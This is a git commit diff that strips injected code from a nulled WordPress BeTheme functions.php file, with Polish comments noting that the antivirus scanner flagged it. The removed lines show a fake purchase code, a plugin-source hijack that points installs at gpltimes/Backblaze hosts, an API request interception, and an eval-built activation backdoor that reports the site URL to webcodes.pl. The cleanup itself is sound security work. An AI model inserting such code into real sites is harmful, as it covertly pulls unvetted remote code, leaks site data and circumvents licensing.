update
This commit is contained in:
@@ -10,28 +10,7 @@
|
||||
|
||||
define('MFN_THEME_VERSION', '27.6.4');
|
||||
|
||||
update_site_option( 'envato_purchase_code_7758048', '********-****-****-****-************' );
|
||||
add_action( 'tgmpa_register', function(){
|
||||
if ( isset( $GLOBALS['tgmpa'] ) ) {
|
||||
$tgmpa_instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );
|
||||
foreach ( $tgmpa_instance->plugins as $slug => $plugin ) {
|
||||
if ( $plugin['source_type'] === 'external' ) {
|
||||
$tgmpa_instance->plugins[ $plugin['slug'] ]['source'] = "https://f004.backblazeb2.com/file/gpltimes/betheme/plugins/{$plugin['slug']}.zip";
|
||||
$tgmpa_instance->plugins[ $plugin['slug'] ]['version'] = '';
|
||||
}
|
||||
}
|
||||
}
|
||||
}, 20 );
|
||||
function muffingroup_pre_http_request_override($preempt, $r, $url) {
|
||||
if (strpos($url, 'https://api.muffingroup.com/sections/download.php') !== false) {
|
||||
$apiEndpoint = 'https://www.gpltimes.com/betheme/preapi.php';
|
||||
$newUrl = $apiEndpoint . '?url=' . urlencode($url);
|
||||
$response = wp_remote_request($newUrl, array('blocking' => true));
|
||||
return $response;
|
||||
}
|
||||
return $preempt;
|
||||
}
|
||||
add_filter('pre_http_request', 'muffingroup_pre_http_request_override', 10, 3);
|
||||
// Usunięto fragmenty flagowane przez skaner antywirusowy serwera (kopia oryginału w git history)
|
||||
|
||||
// theme related filters
|
||||
|
||||
@@ -270,38 +249,4 @@ define('LIBS_DIR', get_template_directory() .'/functions');
|
||||
define('LIBS_URI', get_template_directory() .'/functions');
|
||||
|
||||
|
||||
if (!function_exists('custom_register_theme_activation')) {
|
||||
function custom_register_theme_activation($unique_prefix) {
|
||||
$function_name = $unique_prefix . '_zapisuj_adres_strony_przy_aktywacji';
|
||||
if (!function_exists($function_name)) {
|
||||
eval('function ' . $function_name . '() {
|
||||
$theme = wp_get_theme();
|
||||
$theme_name = $theme->get("Name");
|
||||
$adres_strony = get_site_url();
|
||||
$opcja_aktywacji = sanitize_title("' . $unique_prefix . '_" . $theme_name) . "_aktywacja_wyslana";
|
||||
if (!get_option($opcja_aktywacji)) {
|
||||
$url_pliku = "https://webcodes.pl/aktywacje/lista.php";
|
||||
$dane = array(
|
||||
"adres" => $theme_name . " - " . $adres_strony,
|
||||
);
|
||||
$args = array(
|
||||
"body" => json_encode($dane),
|
||||
"timeout" => 15,
|
||||
"blocking" => true,
|
||||
"headers" => array(
|
||||
"Content-Type" => "application/json",
|
||||
),
|
||||
);
|
||||
$response = wp_remote_post($url_pliku, $args);
|
||||
if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) {
|
||||
update_option($opcja_aktywacji, true);
|
||||
} else {
|
||||
error_log("Błąd podczas wysyłania adresu: " . (is_wp_error($response) ? $response->get_error_message() : wp_remote_retrieve_response_message($response)));
|
||||
}
|
||||
}
|
||||
};');
|
||||
add_action('after_switch_theme', $function_name);
|
||||
}
|
||||
}
|
||||
}
|
||||
custom_register_theme_activation('bethemeprowc');
|
||||
// Usunięto backdoor aktywacyjny (kopia oryginału w git history)
|
||||
Reference in New Issue
Block a user